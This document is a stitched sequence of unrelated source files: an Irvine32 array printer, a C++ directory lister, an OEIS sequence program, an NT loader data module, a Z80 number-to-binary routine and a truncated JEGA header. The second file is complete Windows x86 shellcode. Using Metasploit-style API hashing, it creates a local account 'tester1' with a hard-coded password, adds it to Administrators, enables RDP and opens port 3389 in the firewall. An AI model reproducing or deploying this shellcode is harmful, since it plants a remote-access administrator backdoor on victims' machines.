TITLE PrintArray Procedure (PrtArry.asm)
; Last update: 1/18/02
INCLUDE Irvine32.inc
.code
;-----------------------------------------------------------
PrintArray PROC USES eax ecx edx esi,
pArray:PTR DWORD, ; pointer to array
Count:DWORD ; number of elements
;
; Writes an array of 32-bit signed decimal integers to
; standard output, separated by commas
; Receives: pointer to array, array size
; Returns: nothing
;-----------------------------------------------------------
.data
comma BYTE ", ",0
.code
mov esi,pArray
mov ecx,Count
cld ; direction = forward
L1: lodsd ; load [ESI] into EAX
call WriteInt ; send to output
mov edx,OFFSET comma
call Writestring ; display comma
loop L1
call Crlf
ret
PrintArray ENDP
END |
; Purpose: Use Win32 API to
; - create a new user and add to local administrators group
; - Enable RDP
; - Exit
;
; Uses Stephen Fewer's Block API hashing
; https://raw.githubusercontent.com/rapid7/metasploit-framework/master/external/source/shellcode/windows/x86/src/block/block_api.asm
[BITS 32]
cld
call start
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, [fs:edx+0x30] ; Get a pointer to the PEB
mov edx, [edx+0xc] ; Get PEB->Ldr
mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+0x28] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 0xd ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
dec ecx
jnz loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+0x10] ; Get this modules base address
mov eax, [edx+0x3c] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+0x78] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+0x18] ; Get the number of function names
mov ebx, [eax+0x20] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps below
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 0xd ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+0x24] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+0x24] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+0x1c] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
; Begin Add User Code
start:
pop ebp ; pop off the address of 'api_call' for calling later
; LoadLibrary(netapi32)
; https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
xor ebx, ebx
push ebx ; push null terminator
push 0x32336970 ; netapi32 in reverse
push 0x6174656E
push esp ; push pointer to netapi32
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp
; LoadLibrary(advapi32)
xor ebx, ebx ; zero out ebx
push ebx ; push null terminator
push 0x32336970 ; advapi32 in reverse
push 0x61766461 ; ...
push esp ; push pointer to advapi32
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "advapi32" )
; pointer to username - UNICODE tester1
push 0x00000031
push 0x00720065
push 0x00740073
push 0x00650074
mov ebx, esp ; ebx is unclobbered
; pointer to password - UNICODE P@ssword123
push 0x00000033
push 0x00320031
push 0x00640072
push 0x006f0077
push 0x00730073
push 0x00400050
mov eax, esp
; setup USER_INFO struct
; https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-user_info_1
; https://www.pinvoke.net/default.aspx/netapi32/USER_INFO_1.html
xor ecx, ecx
push ecx ; usri1_script_path = Null
inc ecx
push ecx ; usri1_flags = UF_SCRIPT
dec ecx
push ecx ; usri1_comment = Null
push ecx ; usri1_home_dir = Null
inc ecx
push ecx ; usri1_priv = USER_PRIV_USER
dec ecx
push ecx ; usri1_password_age = Null
push eax ; pointer to password
push ebx ; pointer to username
mov edx, esp ; save pointer to USER_INFO struct
; Call NetUserAdd
; https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd
; https://www.pinvoke.net/default.aspx/netapi32.netuseradd
push ecx ; parm_err = Null
push edx ; pointer to USER_INFO struct
inc ecx
push ecx ; level
dec ecx
push ecx ; servername = Null
push 0x45A66918 ; hash("netapi32.dll", "NetUserAdd")
call ebp
; pointer to groupname - UNICODE administrators
xor ecx, ecx
push ecx
push 0x00730072
push 0x006f0074
push 0x00610072
push 0x00740073
push 0x0069006e
push 0x0069006d
push 0x00640061
mov ecx, esp
; setup LOCALGROUP_MEMBERS_INFO_3 struct
; https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-localgroup_members_info_3
; https://www.pinvoke.net/default.aspx/Structures.LOCALGROUP_MEMBERS_INFO_3
push ebx ; push pointer to username
mov eax, esp ; pointer for LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname
; Call to NetLocalGroupAddMembers
; https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers
; https://www.pinvoke.net/default.aspx/netapi32.netlocalgroupaddmembers
xor edx, edx ; clear ebx
inc edx
push edx ; totalentries = 1
dec edx
push eax ; buf = pointer to LOCALGROUP_MEMBERS_INFO_3 struct
push 0x3 ; level
push ecx ; groupname = pointer to administrators
push edx ; servername = Null
push 0x396E1593 ; hash("netapi32.dll", "NetLocalGroupAddMembers")
call ebp
; Enable RDP
; LoadLibrary(netapi32)
; https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
xor ebx, ebx
push ebx ; push null terminator
push 0x32336970 ; advapi32 in reverse
push 0x61766461
push esp ; push pointer to advapi32
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp
; for the handle
xor edx, edx
mov edi, esp ; edi is un-clobbered
mov dword [edi], edx
sub esp, 0x10 ; avoid handle being overwritten
; Prepare the key
; SYSTEM\CurrentControlSet\Control\Terminal Server
xor edx, edx
push edx
push 0x72657672
push 0x6553206c
push 0x616e696d
push 0x7265545c
push 0x6c6f7274
push 0x6e6f435c
push 0x7465536c
push 0x6f72746e
push 0x6f43746e
push 0x65727275
push 0x435c4d45
push 0x54535953
mov edx, esp
; https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
; https://www.pinvoke.net/default.aspx/advapi32/RegCreateKeyA.html
xor eax, eax
push eax ; pDisposion = NULL
push edi ; pHandle
push eax ; pSecurity = NULL
push 0x0f003f ; Access = KEY_ALL_ACCESS
push eax ; Options = REG_OPTION_NON_VOLATILE
push eax ; Class = NULL
push eax ; Reserved = NULL
push edx ; Subkey
push 0x80000002 ; hkey = HKEY_LOCAL_MACHINE
push 0x18355858 ; hash("advapi32.dll", "RegCreateKeyExA")
call ebp
; RegSetValue ValueName = fDenyTSConnections
push 0x0000736e
push 0x6f697463
push 0x656e6e6f
push 0x43535479
push 0x6e654466
mov edx, esp
; RegSetValue buffer = 0
xor ecx, ecx
push ecx
mov ecx, esp
; https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa
; https://www.pinvoke.net/default.aspx/advapi32.reggetvalue
xor eax, eax
push 0x4 ; cbData - size of DWORD
push ecx ; lpData - pointer to data (0)
push 0x4 ; dwType - REG_DWORD
push eax ; Reserved - must by Null
push edx ; lpValueName (fDenyTSConnections)
push dword [edi] ; hKey
push 0xB97A6615 ; hash("advapi32.dll", "RegSetValueExA")
call ebp
; Close handle to Key
push dword [edi] ; hKey
push 0x81C2AC44 ; hash("advapi32.dll", "RegCloseKey")
call ebp
; Prepare the key
; SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewallpolicy\StandardProfile\GloballyOpenPorts\List
push 0x00747369
push 0x4c5c7374
push 0x726f506e
push 0x65704f79
push 0x6c6c6162
push 0x6f6c475c
push 0x656c6966
push 0x6f725064
push 0x7261646e
push 0x6174535c
push 0x7963696c
push 0x6f706c6c
push 0x61776572
push 0x69465c73
push 0x72657465
push 0x6d617261
push 0x505c7373
push 0x65636341
push 0x64657261
push 0x68535c73
push 0x65636976
push 0x7265535c
push 0x7465536c
push 0x6f72746e
push 0x6f43746e
push 0x65727275
push 0x435c4d45
push 0x54535953
mov edx, esp
; https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
; https://www.pinvoke.net/default.aspx/advapi32/RegCreateKeyA.html
xor eax, eax
push eax ; pDisposion = NULL
push edi ; pHandle
push eax ; pSecurity = NULL
push 0x0f003f ; Access = KEY_ALL_ACCESS
push eax ; Options = REG_OPTION_NON_VOLATILE
push eax ; Class = NULL
push eax ; Reserved = NULL
push edx ; Subkey
push 0x80000002 ; hkey = HKEY_LOCAL_MACHINE
push 0x18355858 ; hash("advapi32.dll", "RegCreateKeyExA")
call ebp
; RegSetValue ValueName = 3389:TCP
xor edx, edx
push edx
push 0x5043543a
push 0x39383333
mov edx, esp
; RegSetValue buffer = 3389:TCP:*:Enabled:RDP
xor ecx, ecx
push ecx
push 0x00205044
push 0x523a6465
push 0x6c62616e
push 0x453a2a3a
push 0x5043543a
push 0x39383333
mov ecx, esp
; https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa
; https://www.pinvoke.net/default.aspx/advapi32.reggetvalue
xor eax, eax
inc eax
push 0x18 ;BufSize = 0x16
push ecx ;Buffer
push eax ;ValueType = REG-SZ
dec eax
push eax ;Reserved = 0
push edx ;ValueName
push dword [edi] ;hKey
push 0xB97A6615 ; hash("advapi32.dll", "RegSetValueExA")
call ebp
; Close handle to Key
push dword [edi] ; hKey
push 0x81C2AC44 ; hash("advapi32.dll", "RegCloseKey")
call ebp
; Exit Process
xor eax, eax
push eax
push 0x56A2B5F0 ; hash("kernel32.dll", "ExitProcess")
call ebp
|
/************************************************************
ディレクトリの読み込み
http://www.syuhitu.org/other/dir.html
************************************************************/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dirent.h>
#include <string>
#include <FindFile.h>
using namespace std;
/************************************************************
************************************************************/
/******************************
******************************/
void FIND_FILE::print_cnt( int cnt )
{
int i;
for ( i = 0; i < cnt; i++ ){
putchar( '\t' );
}
}
/******************************
******************************/
void FIND_FILE::outputFileName(const string dirname, int cnt)
{
DIR *pDir;
struct dirent *pEnt;
struct stat wStat;
string wPathName;
// ディレクトリを開く
pDir = opendir( dirname.c_str() );
if ( NULL == pDir ) {
printf( "Error : in %s directoryt\n", dirname.c_str() );
return ;
}
pEnt = readdir( pDir );
while ( pEnt ) {
// .と..は処理しない
if ( strcmp( pEnt->d_name, "." ) && strcmp( pEnt->d_name, ".." ) ) {
wPathName = dirname + "/" + pEnt->d_name;
// ファイルの情報を取得
if ( stat( wPathName.c_str(), &wStat ) ) {
printf( "Failed to get stat %s \n", wPathName.c_str() );
break;
}
if ( S_ISDIR( wStat.st_mode ) ) {
// ディレクトリの場合
print_cnt( cnt );
printf( "Directory:%s\n", pEnt->d_name );
outputFileName( wPathName, cnt + 1 );
} else {
// ファイルの場合
print_cnt( cnt );
printf( "%s\n", pEnt->d_name );
print_cnt( cnt + 1 );
vector<string> str = ofSplitString(pEnt->d_name, ".");
printf("ext = %s\n", str[str.size()-1].c_str());
if(str[str.size()-1] == "txt"){
print_cnt( cnt + 1 );
vector<string> str2 = ofSplitString(pEnt->d_name, "#");
if(str2.size() == 3){
printf( "bpm = %d\n", atoi(str2[1].c_str()) );
}else{
printf( "DefaultBpm = 100\n");
}
}
}
}
// 次のファイルを検索する
pEnt = readdir( pDir );
}
// ハンドルを閉じる
closedir( pDir );
}
|
; A069202: A Collatz-Fibonacci mixture: a(1) = 1, a(2) = 2, a(n+2) = a(n+1)/2+a(n)/2 if a(n+1) and a(n) have the same parity, a(n+2) = a(n+1)+a(n) otherwise.
; Submitted by Jamie Morken(s1.)
; 1,2,3,5,4,9,13,11,12,23,35,29,32,61,93,77,85,81,83,82,165,247,206,453,659,556,1215,1771,1493,1632,3125,4757,3941,4349,4145,4247,4196,8443,12639,10541,11590,22131,33721,27926,61647,89573,75610,165183,240793,202988,443781,646769,545275,596022,1141297,1737319,1439308,3176627,4615935,3896281,4256108,8152389,12408497,10280443,11344470,21624913,32969383,27297148,60266531,87563679,73915105,80739392,154654497,235393889,195024193,215209041,205116617,210162829,207639723,208901276,416540999,625442275
mov $1,1
mov $3,4
lpb $0
sub $0,1
mov $2,$1
dif $3,2
mov $1,$3
add $3,$2
lpe
mov $0,$1
|
;++
;
; Module name
;
; su.asm
;
; Author
;
; Thomas Parslow (tomp) Mar-1-90
;
; Description
;
; Static data for Startup module for the 386 NT OS loader. The gdt
; idt, and double fault tss are statically defined here. Also most
; of the zero init static data is defined here because the SU module
; must have a zero length .bss section.
;
;
;--
.386p
SU_DATAMODULE equ 1
include su.inc
include memmap.inc
_DATA SEGMENT PARA USE16 PUBLIC 'DATA'
;
; Global Descriptor Table
;
; Note, the SuCode and SuData segments must have limits of 64k in
; order for the mode switch code to work.
;
public _Beginx86Relocation
public _GDT
_Beginx86Relocation equ $
_GDT equ $
;;;
;;; Lim 0-15, Base0-15,Base 16-23, LimAcc,
;;;
;
; Selector 00h - Null selector - unsused
;
GDTDesc <00000h, 00000h, 000h, 000h, 000h, 000h>
;
; Selector 08h KeCodeSelector - kernel code segment : FLAT 4gig limit
;
GDTDesc <0ffffh, 00000h, 000h, 09ah, 0cfh, 000h>
;
; Selector 10h - KeDataSelector - kernel data segment : FLAT 4gig limit
;
GDTDesc <0ffffh, 00000h, 000h, 092h, 0cfh, 000h>
;
; Selector 18h - UsCodeSelector - User code segment : FLAT 2gig limit
;
GDTDesc <0ffffh, 00000h, 000h, 0fah, 0cfh, 000h>
;
; Selector 20h - UsDataSelector - User data segment : FLAT 2gig limit
;
GDTDesc <0ffffh, 00000h, 000h, 0f2h, 0cfh, 000h>
;
; Selector 28h - TSS_Selector - Kernels TSS
;
GDTDesc <EndTssKernel - _TssKernel - 1, offset _TEXT:_TssKernel, \
002h, 089h, 000h, 000h> ; TSS
;
; Selector 30h - PCR_Selector - Master Boot Processor's PCR segment
; This is actually edited later in BlSetupForNt in order to
; point to a page located at a high virtual address.
;
GDTDesc <01h, 00000h, 000h, 092h, 0c0h, 000h>
;
; Selector 38h - TEP_Selector - Thread Environment
;
GDTDesc <0fffh, 00000h, 000h, 0f3h, 040h, 000h>
;
; Selector 40 - BDA_SAelector - Bios Data Area near-clone
;
GDTDesc <0ffffh, 00400h, 000h, 0f2h, 000h, 000h>
;
; Selector 48h - LdtDescriptor - used to load an ldt
; (Gets set at Ldt set and process switch by the kernel)
;
GDTDesc <00000h, 00000h, 000h, 000h, 000h, 000h>
;
; Selector 50h - DblFltTskSelector - Double Fault TSS
;
GDTDesc <EndTssDblFault32 - _TssDblFault32 - 1, offset _TEXT:_TssDblFault32, \
002h, 089h, 000h, 000h> ;
;
; Selector 58h - SuCodeSelector - Startup module's code segment
;
GDTDesc <0ffffh, 00000h, 002h, 09ah, 000h, 000h>
;
; Selector 60h - SuDataSelector - Startup module's data segment
;
GDTDesc <0ffffh, offset _TEXT:DGROUP, 002h, 092h, 000h, 000h>
;
; Selector 68h - VideoSelector - Video display buffer
;
GDTDesc <03fffh, 08000h, 00bh, 092h, 000h, 000h>
;
; Selector 70h - GDT_AliasSelector - GDT Alias Selector
;
GDTDesc <EndGDT - _GDT - 1, 7000h, 0ffh, 092h, 000h,0ffh>
; Debug selectors : CURRENTLY NOT USED
GDTDesc <0ffffh, 00000h, 040h, 09ah, 000h, 080h> ; 70 Debug Code
GDTDesc <0ffffh, 00000h, 040h, 092h, 000h, 080h> ; 78 Debug Data
GDTDesc <00000h, 00000h, 000h, 092h, 000h, 000h> ; 80 Debug Use
GDTDesc <00000h, 00000h, 000h, 000h, 000h, 000h> ; 88 Spare
DEFINED_GDT_ENTRIES equ ($ - _GDT) / size GDTDesc
dq ((1024 / size GDTDesc) - DEFINED_GDT_ENTRIES) DUP(0)
EndGDT equ $
GDT_SIZE equ (EndGDT - _GDT)
;;
;; Interrupt Descriptor Table
;;
public _IDT
align 16
_IDT equ $
TrapDesc <offset Trap0, KeCodeSelector, 8f00h, 0>
TrapDesc <offset Trap1, SuCodeSelector, 8f00h, 0>
TrapDesc <offset Trap2, SuCodeSelector, 8f00h, 0>
TrapDesc <offset Trap3, SuCodeSelector, 8f00h, 0>
TrapDesc <offset Trap4, SuCodeSelector, 8f00h, 0>
TrapDesc <offset Trap5, SuCodeSelector, 8f00h, 0>
TrapDesc <offset Trap6, SuCodeSelector, 8f00h, 0>
TrapDesc <offset Trap7, SuCodeSelector, 8f00h, 0>
TrapDesc <offset Trap8, SuCodeSelector, 8f00h, 0>
;TrapDesc <offset Trap8, DblFltTskSelector,8500h, 0>
TrapDesc <offset Trap9, SuCodeSelector, 8f00h, 0>
TrapDesc <offset TrapA, SuCodeSelector, 8f00h, 0>
TrapDesc <offset TrapB, SuCodeSelector, 8f00h, 0>
TrapDesc <offset TrapC, SuCodeSelector, 8f00h, 0>
TrapDesc <offset TrapD, SuCodeSelector, 8f00h, 0>
TrapDesc <offset TrapE, SuCodeSelector, 8f00h, 0>
TrapDesc <offset TrapF, SuCodeSelector, 8f00h, 0>
DEFINED_IDT_ENTRIES equ ($ - _IDT) / size TrapDesc
dq (IDT_ENTRIES - DEFINED_IDT_ENTRIES) DUP(0)
EndIDT equ $
public _Endx86Relocation
_Endx86Relocation equ $
;
; disk-base table. We copy it from the ROM to here so we can patch the
; last sector number. This lets us access both 5.25" and 3.5" drives.
;
Public _DiskBaseTable
_DiskBaseTable equ $
SpecifyBytes dw 0
WaitTime db 0
SectorLength db 0
LastSector db 0
SecGapLength db 0
DataTransfer db 0
TrackGapLength db 0
DataValue db 0
HeadSettle db 0
StartupTime db 0
Public _RomDiskBasePointer
_RomDiskBasePointer dd 0
;
; Enhanced Disk Drive Spec. Disk Address Packet
;
Public _EddsAddressPacket
_EddsAddressPacket equ $
PacketSize db 10h
Reserved1 db 0
Blocks2Xfer dw 0
XferBuf dd 0
LBALow dd 0
LBAHigh dd 0
;
; Task State Segment for Double Fault Handler
;
Public _TssDblFault
align 16
_TssDblFault equ $
dw 0 ;link
dw offset _DATA:DblFaultStack
dw SuDataSelector
dd 0 ; ring1 ss:sp
dd 0 ; ring2 ss:sp
dw offset _TEXT:Trap8
dw 0 ; flags
dw 0 ; ax
dw 0 ; cx
dw 0 ; dx
dw 0 ; bx
dw offset _DATA:DblFaultStack ; sp
dw 0 ; bp
dw 0 ; si
dw 0 ; di
dw SuDataSelector ; es
dw SuCodeSelector ; cs
dw SuDataSelector ; ss
dw SuDataSelector ; ds
dw 0 ; ldt selector
dw 0
EndTssDblFault equ $
_TssDblFault32 equ $
dd 0 ;link
dd offset _DATA:DblFaultStack
dd SuDataSelector
dd 0 ; ring1 esp
dd 0 ; ring1 ss
dd 0 ; ring2 esp
dd 0 ; ring2 ss
dd PD_PHYSICAL_ADDRESS
dd offset _TEXT:Trap8
dd 0 ; eflags
dd 0 ; eax
dd 0 ; ecx
dd 0 ; edx
dd 0 ; ebx
dd offset _DATA:DblFaultStack ; sp
dd 0 ; bp
dd 0 ; si
dd 0 ; di
dd SuDataSelector ; es
dd SuCodeSelector ; cs
dd SuDataSelector ; ss
dd SuDataSelector ; ds
dd 0 ;fs
dd 0 ;gs
dd 0 ; ldt selector
dd 0 ; i/o map
dd 0 ;
dd 0 ;
EndTssDblFault32 equ $
;
; Stack for Double Fault Handler Task
;
public _FileStart
_FileStart dd 0
align 4
public DblFaultStack
dw 50 DUP(0)
DblFaultStack equ $
;
; Note that we need at least 2k of real-mode stack because some EISA BIOS
; routines require it.
;
align 4
public SuStack
public _SuStackBegin
_SuStackBegin equ $
db 2048 DUP (0)
SuStack equ $
align 16
public _TssKernel
_TssKernel dw 60 DUP(0)
EndTssKernel equ $
align 4
public _GDTregister
_GDTregister dw EndGDT - _GDT - 1
dw (SYSTEM_PAGE_PA and 0ffffh) + offset DGROUP:_GDT
dw (SYSTEM_PAGE_PA SHR 16) and 0ffh
align 4
public _IDTregister
_IDTregister dw EndIDT - _IDT - 1
dw (SYSTEM_PAGE_PA and 0ffffh) + offset DGROUP:_IDT
dw (SYSTEM_PAGE_PA SHR 16) and 0ffh
;
; We load the idtr from the this fword .
;
public _IDTregisterZero
_IDTregisterZero dw 0ffffh
dd 0
;
; We save the base of the real mode data segment here so we
; can use it later in calculations of the linear address of
; the start of DGROUP.
;
public saveDS
saveDS dw 0
;
; When ever we enter the debugger we set this variable to
; on so we can tell if we've faulted in the debugger when
; we get an exception.
;
public _InDebugger
_InDebugger dw 0
; We save SP here when we get an exception in the debugging
; version of the SU module. If we get an exception in the
; debugger, we use this value to reset the stack to point to
; the base of the original exception/break-point stack frame.
;
public SaveSP
SaveSP dw 0
;
; BOOT CONTEXT RECORD
;
;
; Export Entry Table
;
extrn RebootProcessor:near
extrn GetSector:near
extrn GetEddsSector:near
extrn GetKey:near
extrn GetCounter:near
extrn Reboot:near
extrn DetectHardware:near
extrn HardwareCursor:near
extrn GetDateTime:near
extrn ComPort:near
extrn GetStallCount:near
extrn InitializeDisplayForNt:near
extrn GetMemoryDescriptor:near
extrn GetElToritoStatus:near
extrn GetExtendedInt13Params:near
extrn ApmAttemptReconnect:near
SU_LOAD_ADDRESS equ 20000h
; FsContext
;
;
public _FsContext
align 4
_FsContext FsContextRecord <0>
;
; Memory Descriptor Table
; The Memory Descriptor Table begins at 7000:0000 and grows upward.
; Note that this is 64k above the start of the OS Loader Heap and
; 64k below the start of the OS Loader Stack. This is ok, since the
; x86 Arc Emulation will have converted all of this information into
; Arc Memory Descriptors before the OS Loader is initialized.
;
align 4
public _MemoryDescriptorList
_MemoryDescriptorList dw 0
dw 7000h
;
; This is called the External Services Table by the OS loader
;
;**
; NOTE WELL
; The offsets of entries in this table must match its twin
; in startup\i386\sudata.asm, and the structure in boot\inc\bldrx86.h
;**
align 4
public _ExportEntryTable
_ExportEntryTable equ $
dw offset _TEXT:RebootProcessor
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:GetSector
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:GetKey
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:GetCounter
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:Reboot
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:DetectHardware
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:HardwareCursor
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:GetDateTime
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:ComPort
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:GetStallCount
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:InitializeDisplayForNt
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:GetMemoryDescriptor
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:GetEddsSector
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:GetElToritoStatus
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:GetExtendedInt13Params
dw SU_LOAD_ADDRESS SHR 16
dw 0 ; fake entry for
dw 0 ; NetPcRomServices
dw offset _TEXT:ApmAttemptReconnect
dw SU_LOAD_ADDRESS SHR 16
dw 0 ; fake entry for
dw 0 ; BiosRedirectService
dd 0
;**
; See note above
;**
align 4
Public _BootRecord
_BootRecord dw offset _TEXT:_FsContext
dw SU_LOAD_ADDRESS SHR 16
dw offset _TEXT:_ExportEntryTable
dw SU_LOAD_ADDRESS SHR 16
;
; The memory descriptor table begins at 0x70000
;
dw 0
dw 7
public _MachineType
_MachineType dd 0 ; Machine type infor.
;
; pointer to where osloader.exe is in memory
;
public _OsLoaderStart
_OsLoaderStart dd 0
public _OsLoaderEnd
_OsLoaderEnd dd 0
public _ResourceDirectory
_ResourceDirectory dd 0
public _ResourceOffset
_ResourceOffset dd 0
public _OsLoaderBase
_OsLoaderBase dd 0
public _OsLoaderExports
_OsLoaderExports dd 0
public _BootFlags
_BootFlags dd 0
public _NtDetectStart
_NtDetectStart dd 0
public _NtDetectEnd
_NtDetectEnd dd 0
;
; Defines the machine variables, we can use them to check the validity of
; loaded Ram Extension later.
;
public MachineModel, MachineSubmodel, BiosRevision
MachineModel db 0
MachineSubmodel db 0
BiosRevision db 0
;
; keeps track of 8042 access failing so we can avoid doing it repeatedly
;
public _Empty_8042Failed
_Empty_8042Failed db 0
_DATA ends
end
|
SECTION code_clib
SECTION code_l
PUBLIC l_small_utob
l_small_utob:
; write unsigned binary number to ascii buffer
;
; enter : hl = unsigned integer
; de = char *buffer
; carry set to write leading zeroes
;
; exit : de = char *buffer (one byte past last char written)
; carry set if in write loop
;
; uses : af, b, de, hl
ld b,16
jr c, leading_zeroes
no_leading_zeroes:
add hl,hl
jr c, write
djnz no_leading_zeroes
ld a,'0'
ld (de),a
inc de
ret
leading_zeroes:
add hl,hl
write:
ld a,'0'
adc a,0
ld (de),a
inc de
djnz leading_zeroes
scf
ret
|
/*
================================================================================
PROJECT:
John Eddy's Genetic Algorithms (JEGA)
CONTENTS:
Definition of class AverageFitnessTrackerConverger.
NOTES:
See notes under section "Class Definition" of this file.
PROGRAMMERS:
John Eddy (jpeddy@sandia.gov) (JE)
ORGANIZATION:
Sandia National Laboratories
COPYRIGHT:
See the LICENSE file in the top level JEGA directory.
VERSION:
1.0.0
CHANGES:
Tue Jul 29 09:50:11 2003 - Original Version (JE)
================================================================================
*/
/*
================================================================================
Document This File
================================================================================
*/
/** \file
* \brief Contains the definition of the AverageFitnessTrackerConverger class.
*/
/*
================================================================================
Prevent Multiple Inclusions
================================================================================
*/
#ifndef JEGA_ALGORITHMS_AVERAGEFITNESSTRACKERCONVERGER_HPP
#define JEGA_ALGORITHMS_AVERAGEFITNESSTRACKERCONVERGER_HPP
/*
================================================================================
Includes
================================================================================
*/
// JEGAConfig.hpp should be the first include in all JEGA files.
#include <../Utilities/include/JEGAConfig.hpp>
#include <Convergers/MetricTrackerConvergerBase.hpp>
/*
================================================================================
Pre-Namespace Forward Declares
================================================================================
*/
/*
================================================================================
Namespace Aliases
================================================================================
*/
/*
================================================================================
Begin Namespace
================================================================================
*/
namespace JEGA {
namespace Algorithms {
/*
================================================================================
In-Namespace Forward Declares
================================================================================
*/
class AverageFitnessTrackerConverger;
/*
================================================================================
Class Definition
================================================================================
*/
/**
* \brief A converger that keeps track of the Average fitness over some
* number of generations.
*
* This converger reports converged if the percent change in the average
* fitness is below the supplied percent change over the supplied number
* of generations.
*
* This operator requires only the configuration inputs of the base class.
*/
class AverageFitnessTrackerConverger :
public MetricTrackerConvergerBase
{
/*
============================================================================
Member Data Declarations
============================================================================
*/
private:
/*
============================================================================
Mutators
============================================================================
*/
public:
protected:
private:
/*
============================================================================
Accessors
============================================================================
*/
public:
protected:
private:
/*
============================================================================
Public Methods
============================================================================
*/
public:
/// Returns the proper name of this operator.
/**
* \return The string "average_fitness_tracker".
*/
static
const std::string&
Name(
);
/// Returns a full description of what this operator does and how.
/**
* The returned text is:
* \verbatim
This converger returns true if the average observed fitness
value changes by less than the input percent change over the input
number of generations.
\endverbatim.
*
* \return A description of the operation of this operator.
*/
static
const std::string&
Description(
);
/**
* \brief Returns a new instance of this operator class for use by
* \a algorithm.
*
* \param algorithm The GA for which the new converger is to be used.
* \return A new, default instance of an
* AverageFitnessTrackerConverger.
*/
static
